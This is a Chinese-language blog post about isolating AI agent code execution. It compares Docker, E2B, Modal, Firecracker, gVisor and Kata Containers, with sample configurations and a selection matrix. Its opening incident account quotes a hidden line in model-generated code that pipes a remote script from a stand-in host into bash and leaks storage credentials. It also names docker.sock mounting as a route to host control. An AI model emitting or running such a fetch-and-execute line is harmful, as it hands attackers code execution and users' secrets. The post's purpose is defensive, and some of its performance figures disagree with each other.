代码沙箱在 AI Agent 中的实践:从 Docker 到 microVM 的选型矩阵

五款主流沙箱技术横评,给出 E2B / Modal / Firecracker / gVisor / Kata 的延迟、安全、运维成本对比。

AgentList Team · 2026年6月12日
sandbox-executionmicrovmfirecrackerai-agentcode-execution

当 agent 需要执行用户写出来的代码、跑 SQL、起一个浏览器、或者调用一个未知的 shell 命令时,「跑在主机上」几乎等于「把所有鸡蛋放在一个篮子里」。本文从一次生产事故出发,拆解五款主流沙箱技术(Docker、E2B、Modal、FirecrackergVisorKata Containers),给出一份可以直接抄走的选型矩阵。

一次生产事故:为什么 agent 必须用沙箱

2025 年 3 月,我们的一个代码生成 agent 接到了用户指令:「在这个数据集上跑一段 pandas,把异常值用 Plotly 画出来。」模型给出的代码看起来无害——import pandas as pd、读取 CSV、plotly.express.scatter。但脚本里藏了一行 os.system("curl https://x.example.com | bash"),被 LLM 解释成「先用 curl 拿数据再处理」。执行后,容器里的 minio credentials 被 exfil 到外部主机

事故复盘给出了三条硬性结论:

  1. 代码生成 agent 的输出是不可信输入——LLM 生成的代码必须当作「来自互联网的用户输入」对待。
  2. Docker 默认隔离不够——privileged: true 给了 root 权限,挂载 /var/run/docker.sock 就直接拿到宿主控制权。
  3. 「隔离」是分层概念——从「不挂宿主机目录」到「microVM 硬件级虚拟化」,中间至少有 4 个不同的隔离等级。

接下来按隔离强度从弱到强,介绍 5 款沙箱。

L1:容器级隔离(Docker / runC)——最快,但只防「君子」

容器是绝大多数 agent 团队的第一站。代码如下:

import docker
client = docker.from_env()
container = client.containers.run(
    "python:3.11-slim",
    command="python -c 'print(2+2)'",
    network_mode="none",       # 断网
    mem_limit="128m",          # 内存上限
    pids_limit=64,             # 进程数上限
    read_only=True,            # 根文件系统只读
    user="1000:1000",          # 非 root
    cap_drop=["ALL"],          # 去掉所有 capabilities
    remove=True,
)
print(container.decode())  # 4

容器方案的问题不在性能(启动 < 1s)而在默认不安全:只要不显式 cap_drop=["ALL"],容器就带着相当多的内核能力。更隐蔽的是 network_mode="none" 没设的话,容器可以直接访问宿主网络栈,DNS 投毒、ARP 欺骗、内核漏洞利用都成为可能。

结论:容器适合「跑自己写的、已经审计过的代码」。不适合 LLM 生成代码

L2:托管 microVM —— 90% agent 团队应该买的服务

E2BModal 是当前最被 agent 生态采用的两家托管沙箱,核心都是 microVM 而不是容器。它们的共同卖点是:开发者用 SDK 起沙箱,亚秒级冷启动,按使用计费,不用自己运维 KVM/QEMU。

E2B:跑 Jupyter 风格的 Python

from e2b_code_interpreter import Sandbox
sb = Sandbox()                       # 亚秒级冷启动
sb.run_code("import numpy as np; x = np.arange(10); print(x.sum())")
# 45
sb.run_code("!curl https://api.ipify.org", on_stdout=lambda l: print(l))
# 拿到沙箱的出口 IP,不暴露宿主
sb.kill()

E2B 适合长会话的 notebook 式执行——用户写一段、跑一段、看输出、再写。filesystem 持久化在沙箱内,agent 可以跨多次 run_code 维护状态。

Modal:把沙箱当作 serverless 函数

import modal

image = modal.Image.debian_slim().pip_install("pandas", "plotly")
app = modal.App("agent-sandbox")

@app.function(image=image, cpu=2, memory=512, timeout=60)
def analyze(df_bytes: bytes) -> bytes:
    import pandas as pd
    df = pd.read_pickle(df_bytes)
    return df.describe().to_pickle()

@app.local_entrypoint()
def main():
    print(analyze.remote(b"..."))  # 在隔离 microVM 里跑

Modal 的优势是把沙箱抽象成函数——analyze.remote(...) 的调用语义就是普通的 Python RPC,只是底下跑在 microVM 而不是同进程。对 agent 来说,这意味着**「调用一个工具」和「跑一段不可信代码」在 API 层是一样的**。

选 E2B 还是 Modal

  • E2B:agent 主打 notebook / REPL 体验,需要长生命周期文件系统、动态安装包。
  • Modal:agent 主打「按需执行单个函数」,需要 serverless 弹性、GPU、Cron 触发。
  • 都不选:当每条用户数据都必须留在自己的 VPC 里(金融、医保)——托管服务违反数据驻留要求。

L3:自建 microVM —— Firecracker + gVisor + Kata Containers

当合规要求「数据不能出本机房」时,你必须自建。三个项目的分工很清晰:

  • Firecracker(AWS 开源):microVM 守护进程,把 QEMU 砍到 250ms 冷启动、< 5MB 内存开销。AWS Lambda 用的就是它。
  • gVisor(Google 开源):拦截容器内的所有系统调用,在用户态实现 syscalls,容器跑在「沙箱化的内核」里。启动比 Firecracker 慢(~500ms),但能直接复用 Docker 镜像。
  • Kata Containers:在容器外面套一层 microVM,对外是标准 OCI 镜像,对内是 KVM/QEMU 隔离。和 Kubernetes 集成最好。

Firecracker 的最小使用示例

# 启动一个 microVM
firecracker --api-sock /tmp/fc.sock
curl --unix-socket /tmp/fc.sock -X PUT   http://localhost/boot-source   -d '{"kernel_image_path":"./vmlinux","boot_args":"console=ttyS0 reboot=k panic=1"}'
curl --unix-socket /tmp/fc.sock -X PUT   http://localhost/drives/rootfs   -d '{"drive_id":"rootfs","path_on_host":"./rootfs.ext4","is_root_device":true,"is_read_only":false}'
curl --unix-socket /tmp/fc.sock -X PUT   http://localhost/machine-config   -d '{"vcpu_count":2,"mem_size_mib":512}'
curl --unix-socket /tmp/fc.sock -X PUT   http://localhost/actions   -d '{"action_type":"InstanceStart"}'

冷启动 125-250ms。每个 microVM 独立内核、独立虚拟网卡——容器逃逸攻击面几乎消失

gVisor 的最小使用示例

# 把 Docker 跑在 gVisor 上
docker run --runtime=runsc -it python:3.11 bash
# runsc 就是 gVisor 的 runC 替代品

gVisor 不创建 microVM,而是拦截所有 syscalls 到一个用户态的「Sentry」进程。性能比 Firecracker 差(syscall 路径长 10x),但镜像完全兼容 Docker 生态,运维成本低。

Kata Containers 的最小使用示例

# Kubernetes pod spec
apiVersion: v1
kind: Pod
spec:
  runtimeClassName: kata-qemu
  containers:
  - name: agent
    image: python:3.11-slim

kata-qemu 是个 Container Runtime Interface (CRI) 插件,调度器在普通 Pod 看到 runtimeClassName: kata-qemu 时自动拉起 microVM。对应用零感知,迁移成本最低

L4:选型矩阵

维度 Docker E2B Modal Firecracker gVisor Kata
冷启动 < 1s < 1s < 1s 125-250ms 300-500ms 500-800ms
内存开销 ~10MB ~50MB ~50MB < 5MB ~30MB ~150MB
隔离强度 极强 极强
网络隔离 需配置 默认隔离 默认隔离 完全虚拟 命名空间 完全虚拟
镜像兼容 100% 自定义 自定义 需 KVM 100% Docker 100% OCI
自运维
单实例成本 $0 $0.000025/s $0.0003/s 硬件成本 硬件成本 硬件成本
数据驻留 自管 海外 海外 自管 自管 自管

决策框架:四步选择

  1. 数据能出公网吗?
    • 是 → 选 L2(E2B / Modal),快且便宜。
    • 否 → 跳到第 2 步。
  2. 需要 GPU 吗?
    • 是 → 选 Modal(最成熟的 GPU 沙箱)。
    • 否 → 跳到第 3 步。
  3. 已有 Kubernetes 吗?
    • 是 → 选 Kata Containers(CRI 零侵入)。
    • 否 → 跳到第 4 步。
  4. 希望复用现有 Docker 镜像吗?
    • 是 → 选 gVisor(直接换 runtime)。
    • 否 → 选 Firecracker(最轻量)。

常见失败模式

错误 1:把 Docker 当成「够用」的沙箱。Docker 隔离来自 namespace + cgroup,不是硬件隔离。任何一次 cap_add 都可能让 agent 拿到宿主 root。LLM 生成的代码必须按「不可信输入」对待。

错误 2:托管沙箱忘记清理进程E2B / Modal 的 SDK 在代码崩溃时不一定 kill 沙箱。生产里加一个 30s 的「无活动自动 kill」心跳,否则每月账单会爆炸。

错误 3:自建 microVM 忽视网络策略。microVM 隔离了 CPU/内存,但网络完全没隔离。必须配 iptables / Cilium 限制 microVM 之间的东西向流量。

错误 4:gVisor 的性能问题被低估gVisor 的 syscall 拦截路径比原生长 5-10x,对 I/O 密集型任务(如 ETL)显著拖慢。如果 agent 主打数据处理,gVisor 不是首选。

总结

  • 沙箱不是可选项,LLM 生成的代码必须按「不可信输入」对待。
  • 托管(E2B / Modal)适合 90% agent 团队;microVM 自建(Firecracker / gVisor / Kata)适合合规与数据驻留要求。
  • 选型按「数据出公网 → GPU → K8s → Docker 兼容」四步走。
  • 沙箱本身只是隔离层,网络策略、镜像签名、进程清理、审计日志四件事缺一不可。

下一步可以先从 E2B 跑一个 30 分钟的概念验证:把 agent 当前的「本地执行代码」路径换成 Sandbox() 包装,看冷启动延迟和 token 成本变化,再决定要不要长期采用。